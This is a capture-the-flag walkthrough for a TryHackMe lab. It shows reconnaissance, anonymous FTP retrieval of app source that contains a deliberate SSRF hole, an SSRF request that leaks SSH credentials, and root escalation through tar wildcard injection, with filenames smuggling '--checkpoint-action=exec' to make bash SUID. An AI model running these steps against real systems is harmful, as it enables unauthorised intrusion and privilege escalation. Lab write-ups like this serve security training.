# Challenge: Operation Coldstart (TryHackMe)

Link to the challenge on TryHackMe: [Operation Coldstart](https://tryhackme.com/room/operationcoldstart)

> Volt Labs, a small SaaS shop, suspects an old staging server has rotted into an exposed liability. Mara has assigned you the engagement. Find your way in and demonstrate full compromise.
> 
> Start the VM by clicking the `Start Lab Machine` button at the top right of the task. You can complete the challenge by connecting through VPN or the AttackBox, which contains all the essential tools.
> 
> Allow two to three minutes for all services to start.

## Answer the questions below

### What is the content of user.txt?

```markdown
 nmap -p- -sV IP_Address

21/tcp open  ftp     vsftpd 3.0.5
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    gunicorn

```

`gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt`

```markdown
gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

/admin                (Status: 308) [Size: 243] [--> http://IP_Address/admin/]
/preview              (Status: 400) [Size: 2493]

```

```markdown
ftp IP_Address
Connected to IP_Address.
220 (vsFTPd 3.0.5)
Name (IP_Address:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||40031|)
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 May 09 23:14 pub
226 Directory send OK.
ftp> ls -la
229 Entering Extended Passive Mode (|||40072|)
150 Here comes the directory listing.
drwxr-xr-x    3 ftp      ftp          4096 May 09 23:14 .
drwxr-xr-x    3 ftp      ftp          4096 May 09 23:14 ..
drwxr-xr-x    2 ftp      ftp          4096 May 09 23:14 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls 
229 Entering Extended Passive Mode (|||40014|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp          2446 May 09 23:14 backup.tar.gz
226 Directory send OK.
ftp> get backup.tar.gz
local: backup.tar.gz remote: backup.tar.gz
229 Entering Extended Passive Mode (|||40030|)
150 Opening BINARY mode data connection for backup.tar.gz (2446 bytes).
100% |*******************************************************|  2446        4.94 MiB/s    00:00 ETA
226 Transfer complete.
2446 bytes received in 00:00 (2.70 MiB/s)
ftp> ls -la
229 Entering Extended Passive Mode (|||40036|)
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 May 09 23:14 .
drwxr-xr-x    3 ftp      ftp          4096 May 09 23:14 ..
-rw-r--r--    1 ftp      ftp          2446 May 09 23:14 backup.tar.gz
226 Directory send OK.
ftp> 

```

```markdown
tar xzvf backup.tar.gz
voltlabs-preview/
voltlabs-preview/requirements.txt
voltlabs-preview/README.md
voltlabs-preview/app.py
root@ip-10-114-125-137:~# cd voltlabs-preview
root@ip-10-114-125-137:~/voltlabs-preview# ls
README.md  app.py  requirements.txt
root@ip-10-114-125-137:~/voltlabs-preview# cat requirements.txt
flask
requests
gunicorn
root@ip-10-114-125-137:~/voltlabs-preview# cat README.md
# Volt Labs URL Preview

Internal staging tool. Run with `gunicorn -b 0.0.0.0:80 app:app`.

Admin routes are gated by source-IP check (localhost only).
root@ip-10-114-125-137:~/voltlabs-preview# cat app.py
from flask import Flask, request, abort
from urllib.parse import urlparse
import html
import requests

app = Flask(__name__)

# Only requests targeting an approved internal hostname are forwarded.
# Internal hostname resolves to 127.0.0.1 via /etc/hosts on this box.
ALLOWED_HOSTS = {"kestrel.thm"}

CSS = """
<style>
:root{--primary:#0d6efd;--bg:#f6f8fa;--card:#fff;--text:#212529;--muted:#6c757d;--border:#dee2e6}
*{box-sizing:border-box}
body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;font-size:16px;line-height:1.5;color:var(--text);background:var(--bg)}
a{color:var(--primary);text-decoration:none}
a:hover{text-decoration:underline}
.navbar{background:#212529;color:#fff;padding:.75rem 1.5rem;display:flex;align-items:center;justify-content:space-between;box-shadow:0 1px 3px rgba(0,0,0,.08)}
.navbar .brand{font-weight:600;font-size:1.125rem;letter-spacing:.2px}
.navbar .muted-light{color:#a5acb3;font-size:.95rem}
.container{max-width:960px;margin:2rem auto;padding:0 1rem}
.card{background:var(--card);border:1px solid var(--border);border-radius:.5rem;padding:1.5rem;margin-bottom:1.25rem;box-shadow:0 1px 2px rgba(0,0,0,.04)}
h1{font-size:1.75rem;margin:0 0 .75rem}
h2{font-size:1.25rem;margin:1.25rem 0 .5rem}
.muted{color:var(--muted);font-size:.95rem}
.form-group{margin-bottom:1rem}
label{display:block;margin-bottom:.25rem;font-weight:500;font-size:.95rem}
.form-control{display:block;width:100%;padding:.5rem .75rem;font-size:1rem;line-height:1.5;color:var(--text);background:#fff;border:1px solid var(--border);border-radius:.375rem;transition:border-color .15s,box-shadow .15s}
.form-control:focus{outline:0;border-color:#86b7fe;box-shadow:0 0 0 .2rem rgba(13,110,253,.25)}
.btn{display:inline-block;padding:.5rem 1rem;font-size:1rem;font-weight:500;border:1px solid transparent;border-radius:.375rem;cursor:pointer;transition:background .15s}
.btn-primary{background:var(--primary);color:#fff}
.btn-primary:hover{background:#0b5ed7}
pre{background:#f1f3f5;border:1px solid var(--border);border-radius:.375rem;padding:.75rem;overflow:auto;font-size:.9rem;white-space:pre-wrap;word-break:break-word}
footer.site{text-align:center;color:var(--muted);margin:2rem 0;font-size:.875rem}
</style>
"""

def page(title, body):
    return f"""<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>{title} - Volt Labs</title>{CSS}</head>
<body>
<nav class="navbar">
    <span class="brand">Volt Labs</span>
    <span class="muted-light">URL Preview Service &middot; staging</span>
</nav>
<main class="container">{body}</main>
<footer class="site">&copy; Volt Labs &middot; do not expose externally</footer>
</body>
</html>"""

@app.route("/")
def index():
    body = """
    <div class="card">
        <h1>URL Preview Service</h1>
        <p class="muted">Internal tool. Paste a URL below to preview its contents.</p>
        <form method="get" action="/preview">
            <div class="form-group">
                <label for="url">URL</label>
                <input id="url" type="text" name="url" class="form-control" placeholder="https://example.com/" required>
            </div>
            <button type="submit" class="btn btn-primary">Preview</button>
        </form>
    </div>
    """
    return page("URL Preview", body)

@app.route("/preview")
def preview():
    target = request.args.get("url", "")
    if not target:
        return page("Preview Error",
                    '<div class="card"><p>Provide a <code>?url=</code> parameter.</p></div>'), 400

    # VULN: hostname allow-list is the only check. No scheme check, no path check,
    # no localhost-rebind protection - the SSRF is still abusable, but only
    # against the allowed hostname.
    host = (urlparse(target).hostname or "").lower()
    if host not in ALLOWED_HOSTS:
        return page("Preview Blocked",
                    '<div class="card"><p>Host not in the approved internal allow-list.</p></div>'), 403

    try:
        r = requests.get(target, timeout=3)
        safe_target = html.escape(target)
        safe_body = r.text.replace("<", "&lt;")
        body = f"""
        <div class="card">
            <h2>Preview of {safe_target}</h2>
            <pre>{safe_body}</pre>
        </div>
        """
        return page("Preview", body)
    except Exception as e:
        safe_err = html.escape(str(e))
        return page("Preview Failed",
                    f'<div class="card"><p>Fetch failed: {safe_err}</p></div>'), 502

@app.route("/admin/")
@app.route("/admin/<path:p>")
def admin(p="index"):
    if not request.remote_addr.startswith("127."):
        abort(403)
    if p == "notes":
        with open("/opt/voltlabs-preview/admin_notes.txt") as f:
            return "<pre>" + f.read() + "</pre>"
    return "<pre>Volt Labs admin endpoint.</pre>"

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80)
```

```markdown
curl "http://IP_Address/preview?url=http://kestrel.thm/admin/notes"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Preview - Volt Labs</title>
<style>
:root{--primary:#0d6efd;--bg:#f6f8fa;--card:#fff;--text:#212529;--muted:#6c757d;--border:#dee2e6}
*{box-sizing:border-box}
body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;font-size:16px;line-height:1.5;color:var(--text);background:var(--bg)}
a{color:var(--primary);text-decoration:none}
a:hover{text-decoration:underline}
.navbar{background:#212529;color:#fff;padding:.75rem 1.5rem;display:flex;align-items:center;justify-content:space-between;box-shadow:0 1px 3px rgba(0,0,0,.08)}
.navbar .brand{font-weight:600;font-size:1.125rem;letter-spacing:.2px}
.navbar .muted-light{color:#a5acb3;font-size:.95rem}
.container{max-width:960px;margin:2rem auto;padding:0 1rem}
.card{background:var(--card);border:1px solid var(--border);border-radius:.5rem;padding:1.5rem;margin-bottom:1.25rem;box-shadow:0 1px 2px rgba(0,0,0,.04)}
h1{font-size:1.75rem;margin:0 0 .75rem}
h2{font-size:1.25rem;margin:1.25rem 0 .5rem}
.muted{color:var(--muted);font-size:.95rem}
.form-group{margin-bottom:1rem}
label{display:block;margin-bottom:.25rem;font-weight:500;font-size:.95rem}
.form-control{display:block;width:100%;padding:.5rem .75rem;font-size:1rem;line-height:1.5;color:var(--text);background:#fff;border:1px solid var(--border);border-radius:.375rem;transition:border-color .15s,box-shadow .15s}
.form-control:focus{outline:0;border-color:#86b7fe;box-shadow:0 0 0 .2rem rgba(13,110,253,.25)}
.btn{display:inline-block;padding:.5rem 1rem;font-size:1rem;font-weight:500;border:1px solid transparent;border-radius:.375rem;cursor:pointer;transition:background .15s}
.btn-primary{background:var(--primary);color:#fff}
.btn-primary:hover{background:#0b5ed7}
pre{background:#f1f3f5;border:1px solid var(--border);border-radius:.375rem;padding:.75rem;overflow:auto;font-size:.9rem;white-space:pre-wrap;word-break:break-word}
footer.site{text-align:center;color:var(--muted);margin:2rem 0;font-size:.875rem}
</style>
</head>
<body>
<nav class="navbar">
    <span class="brand">Volt Labs</span>
    <span class="muted-light">URL Preview Service &middot; staging</span>
</nav>
<main class="container">
        <div class="card">
            <h2>Preview of http://kestrel.thm/admin/notes</h2>
            <pre>&lt;pre>=== INTERNAL ===
SSH access for staging:
  user: webdev
  pass: V0ltLabs#summer
- Mara
&lt;/pre></pre>
        </div>
        </main>
<footer class="site">&copy; Volt Labs &middot; do not expose externally</footer>
</body>
</html>
```

SSH access for staging: user: webdev pass: V0ltLabs#summer

*   Mara
    

```markdown
ssh webdev@IP_Address

webdev@coldstart:~$ ls -la
total 28
drwx------ 3 webdev webdev 4096 May  9 23:16 .
drwxr-xr-x 4 root   root   4096 May  9 23:14 ..
lrwxrwxrwx 1 root   root      9 May  9 23:16 .bash_history -> /dev/null
-rw-r--r-- 1 webdev webdev  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 webdev webdev 3771 Feb 25  2020 .bashrc
drwx------ 2 webdev webdev 4096 May  9 23:16 .cache
-rw-r--r-- 1 webdev webdev  807 Feb 25  2020 .profile
-rw------- 1 webdev webdev   38 May  9 23:14 user.txt
webdev@coldstart:~$ cat user.txt
THM{96dc7bd50d2fb98fcece0156redacted}

```

### What is the content of flag.txt?

```markdown
webdev@coldstart:~$ sudo -l
[sudo] password for webdev: 
Sorry, user webdev may not run sudo on coldstart.
webdev@coldstart:~$ find / -perm -4000 2>/dev/null
/snap/core20/2379/usr/bin/chfn
/snap/core20/2379/usr/bin/chsh
/snap/core20/2379/usr/bin/gpasswd
/snap/core20/2379/usr/bin/mount
/snap/core20/2379/usr/bin/newgrp
/snap/core20/2379/usr/bin/passwd
/snap/core20/2379/usr/bin/su
/snap/core20/2379/usr/bin/sudo
/snap/core20/2379/usr/bin/umount
/snap/core20/2379/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2379/usr/lib/openssh/ssh-keysign
/snap/core20/2866/usr/bin/chfn
/snap/core20/2866/usr/bin/chsh
/snap/core20/2866/usr/bin/gpasswd
/snap/core20/2866/usr/bin/mount
/snap/core20/2866/usr/bin/newgrp
/snap/core20/2866/usr/bin/passwd
/snap/core20/2866/usr/bin/su
/snap/core20/2866/usr/bin/sudo
/snap/core20/2866/usr/bin/umount
/snap/core20/2866/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2866/usr/lib/openssh/ssh-keysign
/snap/core/17292/bin/mount
/snap/core/17292/bin/ping
/snap/core/17292/bin/ping6
/snap/core/17292/bin/su
/snap/core/17292/bin/umount
/snap/core/17292/usr/bin/chfn
/snap/core/17292/usr/bin/chsh
/snap/core/17292/usr/bin/gpasswd
/snap/core/17292/usr/bin/newgrp
/snap/core/17292/usr/bin/passwd
/snap/core/17292/usr/bin/sudo
/snap/core/17292/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/17292/usr/lib/openssh/ssh-keysign
/snap/core/17292/usr/lib/snapd/snap-confine
/snap/core/17292/usr/sbin/pppd
/snap/core18/2999/bin/mount
/snap/core18/2999/bin/ping
/snap/core18/2999/bin/su
/snap/core18/2999/bin/umount
/snap/core18/2999/usr/bin/chfn
/snap/core18/2999/usr/bin/chsh
/snap/core18/2999/usr/bin/gpasswd
/snap/core18/2999/usr/bin/newgrp
/snap/core18/2999/usr/bin/passwd
/snap/core18/2999/usr/bin/sudo
/snap/core18/2999/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2999/usr/lib/openssh/ssh-keysign
/snap/core18/1885/bin/mount
/snap/core18/1885/bin/ping
/snap/core18/1885/bin/su
/snap/core18/1885/bin/umount
/snap/core18/1885/usr/bin/chfn
/snap/core18/1885/usr/bin/chsh
/snap/core18/1885/usr/bin/gpasswd
/snap/core18/1885/usr/bin/newgrp
/snap/core18/1885/usr/bin/passwd
/snap/core18/1885/usr/bin/sudo
/snap/core18/1885/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1885/usr/lib/openssh/ssh-keysign
/snap/core22/2411/usr/bin/chfn
/snap/core22/2411/usr/bin/chsh
/snap/core22/2411/usr/bin/gpasswd
/snap/core22/2411/usr/bin/mount
/snap/core22/2411/usr/bin/newgrp
/snap/core22/2411/usr/bin/passwd
/snap/core22/2411/usr/bin/su
/snap/core22/2411/usr/bin/sudo
/snap/core22/2411/usr/bin/umount
/snap/core22/2411/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/2411/usr/lib/openssh/ssh-keysign
/snap/core22/2411/usr/libexec/polkit-agent-helper-1
/snap/core22/1621/usr/bin/chfn
/snap/core22/1621/usr/bin/chsh
/snap/core22/1621/usr/bin/gpasswd
/snap/core22/1621/usr/bin/mount
/snap/core22/1621/usr/bin/newgrp
/snap/core22/1621/usr/bin/passwd
/snap/core22/1621/usr/bin/su
/snap/core22/1621/usr/bin/sudo
/snap/core22/1621/usr/bin/umount
/snap/core22/1621/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/1621/usr/lib/openssh/ssh-keysign
/snap/core22/1621/usr/libexec/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/mount
```

```markdown
webdev@coldstart:~$ cd /opt/backups
webdev@coldstart:/opt/backups$ cat > shell.sh << 'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
webdev@coldstart:/opt/backups$ chmod +x shell.sh
webdev@coldstart:/opt/backups$ echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
webdev@coldstart:/opt/backups$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash
webdev@coldstart:/opt/backups$ /bin/bash -p
bash-5.2# id
uid=1001(webdev) gid=1001(webdev) euid=0(root) egid=0(root) groups=0(root),1001(webdev)
bash-5.2# ls -la
total 24
-rw-rw-r-- 1 webdev webdev    1 Sep  3 11:39 '--checkpoint-action=exec=sh shell.sh'
-rw-rw-r-- 1 webdev webdev    1 Sep  3 11:39 '--checkpoint=1'
drwxrwx--- 2 webdev webdev 4096 Sep  3 11:39  .
drwxr-xr-x 4 root   root   4096 May  9 23:14  ..
-rw-r--r-- 1 webdev webdev   12 May  9 23:14  .keep
-rwxrwxr-x 1 webdev webdev   31 Sep  3 11:36  shell.sh
bash-5.2# pwd
/opt/backups
bash-5.2# find / -type f -name root.txt 2>/dev/null
bash-5.2# find / -type f -name flag.txt 2>/dev/null
/root/flag.txt
bash-5.2# cat root/flag.txt
cat: root/flag.txt: No such file or directory
bash-5.2# cat /root/flag.txt
THM{e6ee84a483d67ade06936fredacted}
bash-5.2# 
```
